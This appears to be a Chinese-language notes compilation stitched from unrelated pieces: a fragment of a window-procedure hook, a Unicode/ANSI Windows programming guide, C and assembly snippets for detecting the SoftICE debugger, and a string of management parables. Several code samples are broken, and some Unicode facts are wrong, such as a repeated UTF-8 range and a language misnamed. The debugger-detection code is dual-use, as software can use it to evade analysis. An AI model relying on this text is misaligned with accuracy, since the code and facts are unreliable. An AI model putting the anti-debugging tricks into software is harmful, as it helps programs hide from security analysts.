//如果不是鼠标左键按下消息,则调用原处理函数:
return CallWindowProc(OldProc,hWnd,
message,wParam,lParam);
}

 

UNICODE环境设置

在安装Visual Studio时,在选择VC++时需要加入unicode选项,保证相关的库文件可以拷贝到system32下。

 

UNICODE编译设置:

C/C++, Preprocessor difinitions 去除_MBCS,加_UNICODE,UNICODE

ProjectSetting/link/output 中设置EntrywWinMainCRTStartup

反之为MBCSANSI)编译。

 

Unicode :宽字节字符集

 

1. 如何取得一个既包含单字节字符又包含双字节字符的字符串的字符个数?

可以调用Microsoft Visual C++的运行期库包含函数_mbslen来操作多字节(既包括单字节也包括双字节)字符串。

调用strlen函数,无法真正了解字符串中究竟有多少字符,它只能告诉你到达结尾的0之前有多少个字节。

 

2. 如何对DBCS(双字节字符集)字符串进行操作?

函数 描述

PTSTR CharNext LPCTSTR ; 返回字符串中下一个字符的地址

PTSTR CharPrev LPCTSTR, LPCTSTR ); 返回字符串中上一个字符的地址

BOOL IsDBCSLeadByte( BYTE ) 如果该字节是DBCS字符的第一个字节,则返回非0

 

3. 为什幺要使用Unicode

1 可以很容易地在不同语言之间进行数据交换。

2 使你能够分配支持所有语言的单个二进制.exe文件或DLL文件。

3 提高应用程序的运行效率。

Windows 2000是使用Unicode从头进行开发的,如果调用任何一个Windows函数并给它传递一个ANSI字符串,那幺系统首先要将字符串转换成Unicode,然后将Unicode字符串传递给操作系统。如果希望函数返回ANSI字符串,系统就会首先将Unicode字符串转换成ANSI字符串,然后将结果返回给你的应用程序。进行这些字符串的转换需要占用系统的时间和内存。通过从头开始用Unicode来开发应用程序,就能够使你的应用程序更加有效地运行。

Windows CE 本身就是使用Unicode的一种操作系统,完全不支持ANSI Windows函数

Windows 98 只支持ANSI,只能为ANSI开发应用程序。

Microsoft公司将COM16Windows转换成Win32时,公司决定需要字符串的所有COM接口方法都只能接受Unicode字符串。

 

4. 如何编写Unicode源代码?

Microsoft公司为Unicode设计了WindowsAPI,这样,可以尽量减少代码的影响。实际上,可以编写单个源代码文件,以便使用或者不使用Unicode来对它进行编译。只需要定义两个宏(UNICODE_UNICODE),就可以修改然后重新编译该源文件。

_UNICODE宏用于C运行期头文件,而UNICODE宏则用于Windows头文件。当编译源代码模块时,通常必须同时定义这两个宏。

 

5. Windows定义的Unicode数据类型有哪些?

数据类型 说明

WCHAR Unicode字符

PWSTR 指向Unicode字符串的指针

PCWSTR 指向一个恒定的Unicode字符串的指针

对应的ANSI数据类型为CHARLPSTRLPCSTR

ANSI/Unicode通用数据类型为TCHARPTSTR,LPCTSTR

 

6. 如何对Unicode进行操作?

字符集 特性 实例

ANSI 操作函数以str开头 strcpy

Unicode 操作函数以wcs开头 wcscpy

MBCS 操作函数以_mbs开头 _mbscpy

ANSI/Unicode 操作函数以_tcs开头 _tcscpyC运行期库)

ANSI/Unicode 操作函数以lstr开头 lstrcpyWindows函数)

所有新的和未过时的函数在Windows2000中都同时拥有ANSIUnicode两个版本。ANSI版本函数结尾以A表示;Unicode版本函数结尾以W表示。Windows会如下定义:

#ifdef UNICODE

#define CreateWindowEx CreateWindowExW

#else

#define CreateWindowEx CreateWindowExA

#endif // !UNICODE

 

7. 如何表示Unicode字符串常量?

字符集 实例

ANSI “string”

Unicode L“string”

ANSI/Unicode T(string)_TEXT(string)if( szError[0] == _TEXT(J) ){ }

 

8. 为什幺应当尽量使用操作系统函数?

这将有助于稍稍提高应用程序的运行性能,因为操作系统字符串函数常常被大型应用程序比如操作系统的外壳进程Explorer.exe所使用。由于这些函数使用得很多,因此,在应用程序运行时,它们可能已经被装入RAM

如:StrCatStrChrStrCmpStrCpy等。

 

9. 如何编写符合ANSIUnicode的应用程序?

1 将文本串视为字符数组,而不是chars数组或字节数组。

2 将通用数据类型(如TCHARPTSTR)用于文本字符和字符串。

3 将显式数据类型(如BYTEPBYTE)用于字节、字节指针和数据缓存。

4 TEXT宏用于原义字符和字符串。

5 执行全局性替换(例如用PTSTR替换PSTR)。

6 修改字符串运算问题。例如函数通常希望在字符中传递一个缓存的大小,而不是字节。这意味着不应该传递sizeof(szBuffer),而应该传递(sizeof(szBuffer)/sizeof(TCHAR)。另外,如果需要为字符串分配一个内存块,并且拥有该字符串中的字符数目,那幺请记住要按字节来分配内存。这就是说,应该调用

malloc(nCharacters *sizeof(TCHAR)),而不是调用malloc(nCharacters)

 

10. 如何对字符串进行有选择的比较?

通过调用CompareString来实现。

标志 含义

NORM_IGNORECASE 忽略字母的大小写

NORM_IGNOREKANATYPE 不区分平假名与片假名字符

NORM_IGNORENONSPACE 忽略无间隔字符

NORM_IGNORESYMBOLS 忽略符号

NORM_IGNOREWIDTH 不区分单字节字符与作为双字节字符的同一个字符

SORT_STRINGSORT 将标点符号作为普通符号来处理

 

11. 如何判断一个文本文件是ANSI还是Unicode

判断如果文本文件的开头两个字节是0xFF0xFE,那幺就是Unicode,否则是ANSI

 

12. 如何判断一段字符串是ANSI还是Unicode

IsTextUnicode进行判断。IsTextUnicode使用一系列统计方法和定性方法,以便猜测缓存的内容。由于这不是一种确切的科学方法,因此 IsTextUnicode有可能返回不正确的结果。

 

13. 如何在UnicodeANSI之间转换字符串?

Windows函数MultiByteToWideChar用于将多字节字符串转换成宽字符串;函数WideCharToMultiByte将宽字符串转换成等价的多字节字符串。

 

14. UnicodeDBCS之间的区别

Unicode使用(特别在C程序设计语言环境里)“宽字符集”。「Unicode中的每个字符都是16位宽而不是8位宽。」在Unicode中,没有单单使用8位数值的意义存在。相比之下,在“双位组字符集”中我们仍然处理8位数值。有些位组自身定义字符,而某些位组则显示需要和另一个位组共同定义一个字符。

处理DBCS字符串非常杂乱,但是处理Unicode文字则像处理有秩序的文字。您也许会高兴地知道前128Unicode字符(16位代码从0x00000x007F)就是ASCII字符,而接下来的128Unicode字符(代码从0x00800x00FF)是ISO 8859-1ASCII的扩展。Unicode中不同部分的字符都同样基于现有的标准。这是为了便于转换。希腊字母表使用从0x03700x03FF的代码,斯拉夫语使用从0x04000x04FF的代码,美国使用从0x05300x058F的代码,希伯来语使用从0x05900x05FF的代码。中国、日本和韩国的象形文字(总称为CJK)占用了从0x30000x9FFF的代码。Unicode的最大好处是这里只有一个字符集,没有一点含糊。

 

15.衍生标准

Unicode是一个标准。UTF-8是其概念上的子集,UTF-8是具体的编码标准。而UNICODE是所有想达到世界统一编码标准的标准。UTF-8标准就是UnicodeISO10646)标准的一种变形方式,

UTF的全称是:Unicode/UCS Transformation Format,其实有两种UTF,一种是UTF-8,一种是UTF-16

不过UTF-16使用较少,其对应关系如下:

Unicode中编码为 0000 - 007F UTF-8 中编码形式为: 0xxxxxxx

Unicode中编码为 0080 - 07FF UTF-8 中编码形式为: 110xxxxx 10xxxxxx

Unicode中编码为 0000 - 007F UTF-8 中编码形式为: 1110xxxx 10xxxxxx 10xxxxxx

 

utf-8unicode的一个新的编码标准,其实unicode有过好几个标准.我们知道一直以来使用的unicode字符内码都是16,它实际上还不能把全世界的所有字符编在一个平面系统,比如中国的藏文等小语种,所以utf-8扩展到了32,也就是说理论在utf-8中可容纳二的三十二次方个字符. UNICODE的思想就是想把所有的字符统一编码,实现一个统一的标准.big5gb都是独立的字符集,这也叫做远东字符集,把它拿到德文版的WINDOWS上可能将会引起字符编码的冲突....早期的WINDOWS默认的字符集是ANSI.notepad中输入的汉字是本地编码,但在NT/2000内部是可以直接支持UNICODE的。notepad.exeWIN9598中都是ANSI字符,NT中则是UNICODE.ANSIUNICODE可以方便的实现对应映射,也就是转换 ASCII8位范围内的字符集,对于范围之外的字符如汉字它是无法表达的。unicode16位范围内的字符集,对于不同地区的字符分区分配,unicode是多个IT巨头共同制定的字符编码标准。如果在unicode环境下比如WINDOWS NT上,一个字符占两字节16位,而在ANSI环境下如WINDOWS98下一个字符占一个字节8.Unicode字符是16位宽,最多允许65,535字符,数据类型被称为WCHAR

对于已有的ANSI字符,unicode简单的将其扩展为16位:比如ANSI"A"=0x43,则对应的UNICODE

"A"= 0x0043

ASCII用七存放128个字符,ASCII是一个真正的美国标准,所以它不能满足其他国家的需要,例如斯拉夫语的字母和汉字于是出现了Windows ANSI字符集,是一种扩展的ASCII,8位存放字符,128位仍然存放原来的ASCII,

而高128位加入了希腊字母等

if def UNICODE

  TCHAR = wchar

else

  TCHAR = char

你需要在Project\Settings\C/C++\Preprocesser definitions中添加UNICODE_UNICODE

UINCODE,_UNICODE都要定义。不定义_UNICODE的话,用SetText(HWND,LPCTSTR),将被解释为SetTextA(HWND,LPTSTR),这时API将把你给的Unicode字符串看作ANSI字符串,显示乱码。因为windows API是已经编译好存在于dll中的,由于不管UNICODE还是ANSI字符串,都被看作一段buffer,"0B A3 00 35 24 3C 00 00"如果按ANSI读,因为ANSI字串是以'\0'结束的,所以只能读到两字节"0B A3 \0",如果按UNICODE读,将完整的读到'\0\0'结束。

由于UNICODE没有额外的指示位,所以系统必须知道你提供的字串是哪种格式。此外,UNICODE好象是ANSI C++规定的,_UNICODEwindows SDK提供的。如果不编写windows程序,可以只定义UNICODE

 

 

 

开发过程:

围绕着文件读写、字符串处理展开。文件主要有两种:.txt.ini文件

1.    unicode和非unicode环境下字符串做不同处理的,那么需要参考以上910两条,以适应不同环境得字符串处理要求。

对文件读写也一样。只要调用相关接口函数时,参数中的字符串前都加上_TEXT等相关宏。如果写成的那个文件需要是unicode格式保存的,那么在创建文件时需要加入一个字节头。

CFile file;

    WCHAR szwBuffer[128];

   

    WCHAR *pszUnicode = L"Unicode string\n"; // unicode string

    CHAR *pszAnsi = "Ansi string\n"; // ansi string

    WORD wSignature = 0xFEFF;

   

    file.Open(TEXT("Test.txt"), CFile::modeCreate|CFile::modeWrite);

   

    file.Write(&wSignature, 2);

   

    file.Write(pszUnicode, lstrlenW(pszUnicode) * sizeof(WCHAR));

    // explicitly use lstrlenW function

   

    MultiByteToWideChar(CP_ACP, 0, pszAnsi, -1, szwBuffer, 128);

   

    file.Write(szwBuffer, lstrlenW(szwBuffer) * sizeof(WCHAR));

   

file.Close();

//以上这段代码在unicode和非unicode环境下都有效。这里显式的指明用Unicode来进行操作。

2.    在非unicode环境下,缺省调用的都是ANSI格式的字符串,此时TCHAR转换为CHAR类型的,除非显式定义WCHAR。所以在这个环境下,如果读取unicode文件,那么首先需要移动2个字节,然后读取得字符串需要用MultiByteToWideChar来转换,转换后字符串信息才代表unicode数据。

3.    unicode环境下,缺省调用得都是unicode格式得字符串,也就是宽字符,此时TCHAR转换为WCHAR,相关得API函数也都调用宽字符类型的函数。此时读取unicode文件也和上面一样,但是读取得数据是WCHAR的,如果要转换成ANSI格式,需要调用WideCharToMultiByte。如果读取ANSI的,则不用移动两个字节,直接读取然后视需要转换即可。

 

某些语言(如韩语)必须在unicode环境下才能显示,这种情况下,在非unicode环境下开发,就算用字符串函数转换也不能达到显示文字的目的,因为此时调用得API函数是用ANSI的(虽然底层都是用UNICODE处理但是处理结果是按照程序员调用的API来显示的)。所以必须用unicode来开发。


Windows NT/2000/XP系统:

1.判断NTICE服务是否运行
在Windows NT/2000/XP系统中,SoftICE是一个内核设备驱动类型的服务,服务名为NTICE,因此可通过判断NTICE服务是否运行来检测SoftICE.

BOOL SoftICEIsLoad()
{
 SERVICE_STATUS ssStatus;
 // 打开服务控制管理器
 SH_HANDLE shServiceManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
 if(NULL == shServiceManager)
  return FALSE;
 // 打开NTICE服务
 SC_HANDLE shMyService = OpenService(shServiceManager, "NTICE", SERVICE_ALL_ACCESS);
 if(QueryServiceStatus(shMyService, &ssStatus)) == 0)
 {
  CloseServiceHandle(shMyService);
  return FALSE;
 }
 // NTICE服务正在运行
 if(SERVICE_RUNNING == ssStatus.dwCurrentState)
 {
  CloseServiceHandle(shMyService);
  return TRUE;
 }
 return FALSE;
}

2.利用 UnhandledExceptionFilter 检测
如果SoftICE加载,SoftICE会在kernel32.dll的UnhandledExceptionFilter函数第一字节外设一个INT 3指令,即用"CC"代替原机器码"55".因此就可根据这个"CC"机器码,判断SoftICE是否加载.

BOOL SoftICEIsLoad()
{
 FARPROC Uadder;
 BYTE Mark = 0;
 (FARPROC&)Uaddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "UnhandledExceptionFilter");
 Mark = *((BYTE)Uaddr);
 // 取UnhandledExceptionFilter函数的第一字节
 if(0xCC == Mark) // 如是则SoftICE已加载
  return TRUE;
 
 return FALSE;
}

3.检测断点
由于SoftICE有针对API设置断点的强大功能,它工作时是在函数前插入INT 3指令(机器码CC),因此检测函数首地址机器码是否为CC就可以判断是否被SofeICE设置断点跟踪.

#include <windows.h>

BOOL IsBPX(void* address);

int WINAPI WinMain(HINSTANCE hInstanec, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
 void* addr;
 addr=MessageBox;
 if(IsBPX(addr))
 {
  MessageBox(NULL,"don't debug me.","help!",MB_HELP);
 }else{
  MessageBox(NULL,"no one.","go go go!",MB_OK);
 }
 
 return 0;
}

BOOL IsBPX(void* address)
{
 _asm
 {
  MOV ESI , address // 被监视函数的地址
  MOV AL  , [ESI]  // 取该函数的机器码
  CMP AL  , 0xCC  // 检测机器码是否为0xCC
  JE  SoftICELoad     // 如果是则函数被跟踪
 }
 return FALSE;
SoftICELoad:
 return TRUE;
}

Windows 9x系统:
1.检测INT 1和INT 3服务的差
在Windows 9x系统中,SoftICE驻留后修改INT 1和INT 3中断的入口,指向它自己的处理程序,其中INT 1和INT 3服务的差总是为1EH利用这点就可检测SoftICE.
这种方法要结合SEH来实现,否则在Windows 2000/XP系统中会产生断点异常.

BOOL SoftICEIsLoad()
{
 char pIDT[6]={0};// IDT保存在这
 try
 {
  _asm
  {
   sidt fword ptr pIDT // 取IDT内容
   mov eax,dword ptr[pIDT+2] // 获取IDT表的基地址
   add eax,8
   mov ebx,[eax] // 取INT 1的低位偏移
   add eax,16
   mov eax,[eax] // 取INT 3的低位偏移
   and eax,0ffffh
   and ebx,0ffffh
   sub eax,ebx  // 计算低位偏移这差
   cmp eax,0xle 如果SoftICE驻留内存,则差为0xle
   jz SoftICELoad
  }
 }
 catch(...)
 {
  return FALSE
 }
 return FALSE;
SoftICELoad:
 return TRUE; 
}

2.检测SoftICE VxD ID

BOOL SoftICEIsLoad()
{
 _asm
 {
  xor     di,di
   mov     es,di
   mov     ax, 1684h      
    mov     bx, 0202h       ; VxD ID of winice
    int     2Fh
    mov     ax, es          ; ES:DI -> VxD API entry point
    add     ax, di
    test    ax,ax
    jnz     SoftICELoad
  }
 return FALSE;
SoftICELoad:
 return TRUE:
}

 


  一、 用人之道
   去过庙的人都知道,一进庙门,首先是弥陀佛,笑脸迎客,而在他的北面,则是黑口
  黑脸的韦陀。但相传在很久以前,他们并不在同一个庙里,而是分别掌管不同的庙。
    弥乐佛热情快乐,所以来的人非常多,但他什么都不在乎,丢三拉四,没有好好的管
  理账务,所以依然入不敷出。而韦陀虽然管账是一把好手,但成天阴着个脸,太过严肃,
  搞得人越来越少,最后香火断绝。
    佛祖在查香火的时候发现了这个问题,就将他们俩放在同一个庙里,由弥乐佛负责公
  关,笑迎八方客,于是香火大旺。而韦陀铁面无私,锱珠必较,则让他负责财务,严格把
  关。在两人的分工合作中,庙里一派欣欣向荣景象。
    其实在用人大师的眼里,没有废人,正如武功高手,不需名贵宝剑,摘花飞叶即可伤
  人,关键看如何运用。
  
  二、 鹦 鹉
   一个人去买鹦鹉,看到一只鹦鹉前标:此鹦鹉会两门语言,售价二百元。
    另一只鹦鹉前则标道:此鹦鹉会四门语言,售价四百元。
    该买哪只呢?两只都毛色光鲜,非常灵活可爱。这人转啊转,拿不定主意。
    结果突然发现一只老掉了牙的鹦鹉,毛色暗淡散乱,标价八百元。
    这人赶紧将老板叫来:这只鹦鹉是不是会说八门语言?
    店主说:不。
    这人奇怪了:那为什么又老又丑,又没有能力,会值这个数呢?
    店主回答:因为另外两只鹦鹉叫这只鹦鹉老板。
    这故事告诉我们,真正的领导人,不一定自己能力有多强,只要懂信任,懂放权,懂
  珍惜,就能团结比自己更强的力量,从而提升自己的身价。
    相反许多能力非常强的人却因为过于完美主义,事必躬亲,什么人都不如自己,最后
  只能做最好的攻关人员,销售代表,成不了优秀的领导人。
  
  三、 袋鼠与笼子
   一天动物园管理员发现袋鼠从笼子里跑出来了,于是开会讨论,一致认为是笼子的高
  度过低。所以他们决定将笼子的高度由原来的10米加高到20米。结果第二天他们发现袋鼠
  还是跑到外面来,所以他们又决定再将高度加高到30米。
   没想到隔天居然又看到袋鼠全跑到外面,于是管理员们大为紧张,决定一不做二不休
  ,将笼子的高度加高到100米。
   一天长颈鹿和几只袋鼠们在闲聊,“你们看,这些人会不会再继续加高你们的笼子?
  ”长颈鹿问。“很难说。”袋鼠说∶“如果他们再继续忘记关门的话!”
   管理心得:事有“本末”、“轻重”、“缓急”,关门是本,加高笼子是末,舍本而
  逐末,当然就不得要领了。管理是什么?管理就是先分析事情的主要矛盾和次要矛盾,认
  清事情的“本末”、“轻重”、“缓急”,然后从重要的方面下手。
  
  四、 扁鹊的医术
   魏文王问名医扁鹊说:“你们家兄弟三人,都精于医术,到底哪一位最好呢?”
   扁鹊答:“长兄最好,中兄次之,我最差。”
   文王再问:“那么为什么你最出名呢?”
   扁鹊答:“长兄治病,是治病于病情发作之前。由于一般人不知道他事先能铲除病因
  ,所以他的名气无法传出去;中兄治病,是治病于病情初起时。一般人以为他只能治轻微
  的小病,所以他的名气只及本乡里。而我是治病于病情严重之时。一般人都看到我在经脉
  上穿针管放血、在皮肤上敷药等大手术,所以以为我的医术高明,名气因此响遍全国。”
   管理心得:事后控制不如事中控制,事中控制不如事前控制,可惜大多数的事业经营
  者均未能体会到这一点,等到错误的决策造成了重大的损失才寻求弥补。而往往是即使请
  来了名气很大的“空降兵”,结果于事无补。
  
  五、 曲突徒薪
   有位客人到某人家里做客,看见主人家的灶上烟囱是直的,旁边又有很多木材。客人
  告诉主人说,烟囱要改曲,木材须移去,否则将来可能会有火灾,主人听了没有作任何表
  示。
   不久主人家里果然失火,四周的邻居赶紧跑来救火,最后火被扑灭了,于是主人烹羊
  宰牛,宴请四邻,以酬谢他们救火的功劳,但并没有请当初建议他将木材移走,烟囱改曲
  的人。
   有人对主人说:“如果当初听了那位先生的话,今天也不用准备筵席,而且没有火灾
  的损失,现在论功行赏,原先给你建议的人没有被感恩,而救火的人却是座上客,真是很
  奇怪的事呢!”主人顿时省悟,赶紧去邀请当初给予建议的那个客人来吃酒。
   管理心得:一般人认为,足以摆平或解决企业经营过程中的各种棘手问题的人,就是
  优秀的管理者,其实这是有待商榷的,俗话说:“预防重于治疗”,能防患于未然之前,
  更胜于治乱于已成之后,由此观之,企业问题的预防者,其实是优于企业问题的解决者
  
  六、 救 人
   在一场激烈的战斗中,上尉忽然发现一架敌机向阵地俯冲下来。照常理,发现敌机俯
  冲时要毫不犹豫地卧倒。可上尉并没有立刻卧倒,他发现离他四五米远处有一个小战士还
  站在哪儿。他顾不上多想 ,一个鱼跃飞身将小战士紧紧地压在了身下。此时一声巨响,
  飞溅起来的泥土纷纷落在他们的身上。上尉拍拍身上的尘土,回头一看,顿时惊呆了:刚
  才自己所处的那个位置被炸成了一个大坑。
  
  七、 出 门
   古时候,有两个兄弟各自带着一只行李箱出远门。一路上,重重的行李箱将兄弟俩都
  压得 喘不过气来。他们只好左手累了换右手,右手累了又换左手。忽然,大哥停了下来
  ,在路边买了一根扁担,将两个行李箱一左一右挂在扁担上。他挑起两个箱子上路,反倒
  觉得轻松了很多。
    把这两个故事联系在一起也许有些牵强,但他们确实有着惊人的相似之处:故事中的
  小战士和弟弟是幸运的,但更加幸运的是故事中的上尉和大哥,因为他们在帮助别人的同
  时也帮助了自己!
   管理心得:在我们人生的大道上,肯定会遇到许许多多的困难。但我们是不是都知道
  ,在前进的道路上,搬开别人脚下的绊脚石,有时恰恰是为自己铺路?
  
  八、 鱼王的儿子
   有个渔人有着一流的捕鱼技术,被人们尊称为‘渔王’。然而‘渔王’年老的时候非
  常苦恼,因为他的三个儿子的渔技都很平庸。
    于是个经常向人诉说心中的苦恼:“我真不明白,我捕鱼的技术这么好,我的儿子们
  为什么这么差?我从他们懂事起就传授捕鱼技术给他们,从最基本的东西教起,告诉他们
  怎样织网最容易捕捉到鱼,怎样划船最不会惊动鱼,怎样下网最容易请鱼入瓮。他们长大
  了,我又教他们怎样识潮汐,辨鱼汛。。。凡是我长年辛辛苦苦总结出来的经验,我都毫
  无保留地传授给了他们,可他们的捕鱼技术竟然赶不上技术比我差的渔民的儿子!”
  
   一位路人听了他的诉说后,问:“你一直手把手地教他们吗?”
   “是的,为了让他们得到一流的捕鱼技术,我教得很仔细很耐心。”
   “他们一直跟随着你吗?”
   “是的,为了让他们少走弯路,我一直让他们跟着我学。”
   路人说:“这样说来,你的错误就很明显了。你只传授给了他们技术,却没传授给他
  们教训,对于才能来说,没有教训与没有经验一样,都不能使人成大器!”
  
  九、 河边的苹果
   一位老和尚,他身边聚拢着一帮虔诚的弟子。这一天,他嘱咐弟子每人去南山打一担
  柴回来。弟子们匆匆行至离山不远的河边,人人目瞪口呆。只见洪水从山上奔泻而下,无
  论如何也休想渡河打柴了。无功而返,弟子们都有些垂头丧气。唯独一个小和尚与师傅坦
  然相对。师傅问其故,小和尚从怀中掏出一个苹果,递给师傅说,过不了河,打不了柴,
  见河边有棵苹果树,我就顺手把树上唯一的一个苹果摘来了。后来,这位小和尚成了师傅
  的衣钵传人。
    世上有走不完的路,也有过不了的河。过不了的河掉头而回,也是一种智慧。但真正
  的智慧还要在河边做一件事情:放飞思想的风筝,摘下一个“苹果”。历览古今,抱定这
  样一种生活信念的人,最终都实现了人生的突围和超越。
  
  十、 右手握左手
   桌上流行一首顺口溜:握着老婆的手,好像右手握左手。
    每当有人念出:熟悉的或不熟悉的一桌子人便会意地放声笑起来,气氛立刻就轻松了
  。当然,这是基于人家对该顺口溜的一致理解——感觉准确,描述到位。
    有一天在餐桌上有人又念起这段顺口溜,男人们照例笑得起劲。
    后来发现餐桌上的一位女人没笑。男人们忙说闹着玩别当真。没想到女人认真地说:
  最妙的就是这“右手握左手”。第一,左手是最可以被右手信赖的;第二,左手和右手彼
  此都是自己的;第三,别的手任怎么叫你愉悦兴奋魂飞魄散,过后都是可以甩手的,只有
  左手,甩开了你就残缺了,是不是?一桌子男人都佩服,称赞女人的理解深刻而独到,妇
  人淡淡地说 :有什么深刻而独到,不妨回去念给你们各自的老婆听听,看她们说些什么
  。
    男人当中有胆子大的果然回去试探老婆,果然老婆们的理解均与餐桌上的女士相同。
    她们都是左手,男人们当然要以左手计。
    而他们都是右手,他们当然作右手想
  
  十一、抉 择
   一个农民从洪水中救起了他的妻子,他的孩子却被淹死了。
   事后,人们议论纷纷。有的说他做得对,因为孩子可以再生一个,妻子却不能死而复
  活。有的说他做错了,因为妻子可以另娶一个,孩子却不能死而复活。
   我听了人们的议论,也感到疑惑难决:如果只能救活一人,究竟应该救妻子呢,还是
  救孩子?
   于是我去拜访那个农民,问他当时是怎么想的。
   他答道:“我什么也没想。洪水袭来,妻子在我身过,我抓住她就往附近的山坡游。
  当我返回时,孩子已经被洪水冲走了。”
   归途上,我琢磨着农民的话,对自己说:所谓人生的抉择不少便是如此。
  
  十二、简单道理
   从前,有两个饥饿的人得到了一位长者的恩赐:一根鱼竿和一篓鲜活硕大的鱼。其中
  ,一个人要了一篓鱼,另一个人要了一根鱼竿,于是他们分道扬镳了。得到鱼的人原地就
  用干柴搭起篝火煮起了鱼,他 狼吞虎咽,还没有品出鲜鱼的肉香,转瞬间,连鱼带汤就
  被他吃了个精光,不久,他便饿死在空空的鱼篓 旁。另一个人则提着鱼竿继续忍饥挨饿
  ,一步步艰难地向海边走去,可当他已经看到不远处那片蔚蓝色的 海洋时,他浑身的最
  后一点力气也使完了,他也只能眼巴巴地带着无尽的遗憾撒手人间。
    又有两个饥饿的人,他们同样得到了长者恩赐的一根鱼竿和一篓鱼。只是他们并没有
  各奔东西,而 是商定共同去找寻大海,他俩每次只煮一条鱼,他们经过遥远的跋涉,来
  到了海边,从此,两人开始了捕 鱼为生的日子,几年后,他们盖起了房子,有了各自的
  家庭、子女,有了自己建造的渔船,过上了幸福安康的生活。
    一个人只顾眼前的利益,得到的终将是短暂的欢愉;一个人目标高远,但也要面对现
  实的生活。
    只有把理想和现实有机结合起来,才有可能成为一个成功之人。有时候,一个简单的
  道理,却足以 给人意味深长的生命启示。
  
  十三、并不是你想象中那样
   两个旅行中的天使到一个富有的家庭借宿。这家人对他们并不友好,并且拒绝让他们
  在舒适的客人卧室过夜,而是在冰冷的地下室给他们找了一个角落。当他们铺床时,较老
  的天使发现墙上有一个洞,就顺手把它修补好了。年轻的天使问为什么,老天使答到:“
  有些事并不象它看上去那样。”
    第二晚,两人又到了一个非常贫穷的农家借宿。主人夫妇俩对他们非常热情,把仅有
  的一点点食物拿出来款待客人,然后又让出自己的床铺给两个天使。第二天一早,两个天
  使发现农夫和他的妻子在哭泣,他们唯一的生活来源——一头奶牛死了。年轻的天使非常
  愤怒,他质问老天使为什么会这样,第一个家庭什么都有,老天使还帮助他们修补墙洞,
  第二个家庭尽管如此贫穷还是热情款待客人,而老天使却没有阻止奶牛的死亡。
    “有些事并不象它看上去那样。”老天使答道,“当我们在地下室过夜时,我从墙洞
  看到墙里面堆满了金块。因为主人被贪欲所迷惑,不愿意分享他的财富,所以我把墙洞填
  上了。昨天晚上,死亡之神来召唤农夫的妻子,我让奶牛代替了她。所以有些事并不象它
  看上去那样。”
    有些时候事情的表面并不是它实际应该的样子。如果你有信念,你只需要坚信付出总
  会得到回报。你可能不会发现,直到后来……
  
  十四、养牛之道
   我们旅行到乡间,看到一位老农把喂牛的草料铲到一间小茅屋的屋檐上,不免感到奇
  怪,于是就问道:
   “老公公,你为什么不把喂牛的草放在地上,让它吃?”
   老农说:“这种草草质不好,我要是放在地上它就不屑一顾;但是我放到让它勉强可
  够得着的屋檐上,它会努力去吃,直到把全部草料吃个精光。”
  
  十五、爱人之心
    这是发生在英国的一个真实故事。
    有位孤独的老人,无儿无女,又体弱多病。他决定搬到养老院去。老人宣布出售他漂
  亮的住宅。购买者闻讯蜂拥而至。住宅底价8万英镑,但人们很快就将它炒到了10万英镑
  。价钱还在不断攀升。老人深陷在沙发里,满目忧郁,是的,要不是健康情形不行,他是
  不会卖掉这栋陪他度过大半生的住宅的。
    一个衣着朴素的青年来到老人眼前,弯下腰,低声说:“先生,我也好想买这栋住宅
  ,可我只有1万英镑。可是,如果您把住宅卖给我,我保证会让您依旧生活在这里,和我
  一起喝茶,读报,散步,天天都快快乐乐的——相信我,我会用整颗心来照顾您!”
    老人颔首微笑,把住宅以1万英镑的价钱卖给了他。
    完成梦想,不一定非得要冷酷地厮杀和欺诈,有时,只要你拥有一颗爱人之心就可以
  了。
  
  十六、给 予
    有个老木匠准备退休,他告诉老板,说要离开建筑行业,回家与妻子儿女享受天伦之
  乐。
    老板舍不得他的好工人走,问他是否能帮忙再建一座房子,老木匠说可以。但是大家
  后来都看得出来,他的心已不在工作上,他用的是软料,出的是粗活。房子建好的时候,
  老板把大门的钥匙递给他。
    “这是你的房子,”他说,“我送给你的礼物。”
    他震惊得目瞪口呆,羞愧得无地自容。如果他早知道是在给自己建房子,他怎么会这
  样呢?现在他得住在一幢粗制滥造的房子里!我们又何尝不是这样。我们漫不经心地“建
  造”自己的生活,不是积极行动,而是消极应付,凡事不肯精益求精,在关键时刻不能尽
  最大努力。等我们惊觉自己的处境,早已深困在自己建造的“房子”里了。把你当成那个
  木匠吧,想想你的房子,每天你敲进去一颗钉,加上去一块板,或者竖起一面墙,用你的
  智慧好好建造吧!你的生活是你一生唯一的创造,不能抹平重建,即使只有一天可活,那
  一天也要活得优美、高贵,墙上的铭牌上写着:“生活是自己创造的。”
  
  十七、提醒自我
   有个老太太坐在马路边望着不远处的一堵高墙,总觉得它马上就会倒塌,见有人向媾
  走过去,她就善意地提醒道:“那堵墙要倒了,远着点走吧。”被提醒的人不解地看着她
  大模大样地顺着墙根走过去了——那堵墙没有倒。老太太很生气:“怎么不听我的话呢?
  !”又有人走来,老太太又予以劝告。三天过去了,许多人在墙边走过去,并没有遇上危
  险。第四天,老太太感到有些奇怪,又有些失望,不由自主便走到墙根下仔细观看,然而
  就在此时,墙缍倒了,老太太被掩埋在灰尘砖石中,气绝身亡。
    提醒别人时往往很容易,很清醒,但能做到时刻清醒地提醒自己却很难。所以说,许
  多危险来源于自身,老太太的悲哀便 因此而生
  
  十八、窗
    有个太太多年来不断抱怨对面的太太很懒惰,“那个女人的衣服永远洗不干净,看,
  她晾在外院子里的衣服,总是有斑点,我真的不知道,她怎么连洗衣服都洗成那个样子.
  …..”
    直到有一天,有个明察秋毫的朋友到她家,才发现不是对面的太太衣服洗不干净。细
  心的朋友拿了一块抹布,把这个太太的窗户上的灰渍抹掉,说:“看,这不就干净了吗?
  ”
   原来,是自己家的窗户脏了。
  
  十九、习惯与自然
    一根小小的柱子,一截细细的链子,拴得住一头千斤重的大象,这不荒谬吗?可这荒
  谬的场景在印度和秦国随处可见。那些驯象人,在大象还是小象的时候,就用一条铁链将
  它绑在水泥柱或钢柱上,无论小象怎么挣扎都无法挣脱。小象渐渐地习惯了不挣扎,直到
  长成了大象,可以轻而易举地挣脱链子时,也不挣扎。
   驯虎人本来也像驯象人一样成功,他让小虎从小吃素,直到小虎长大。老虎不知肉味
  ,自然不会伤人。驯虎人的致命错误在于他摔了交之后让老虎舔净他流在地上的血,老虎
  一舔不可收,终于将驯虎人吃了。
   小象是被链子绑住,而大象则是被习惯绑住。
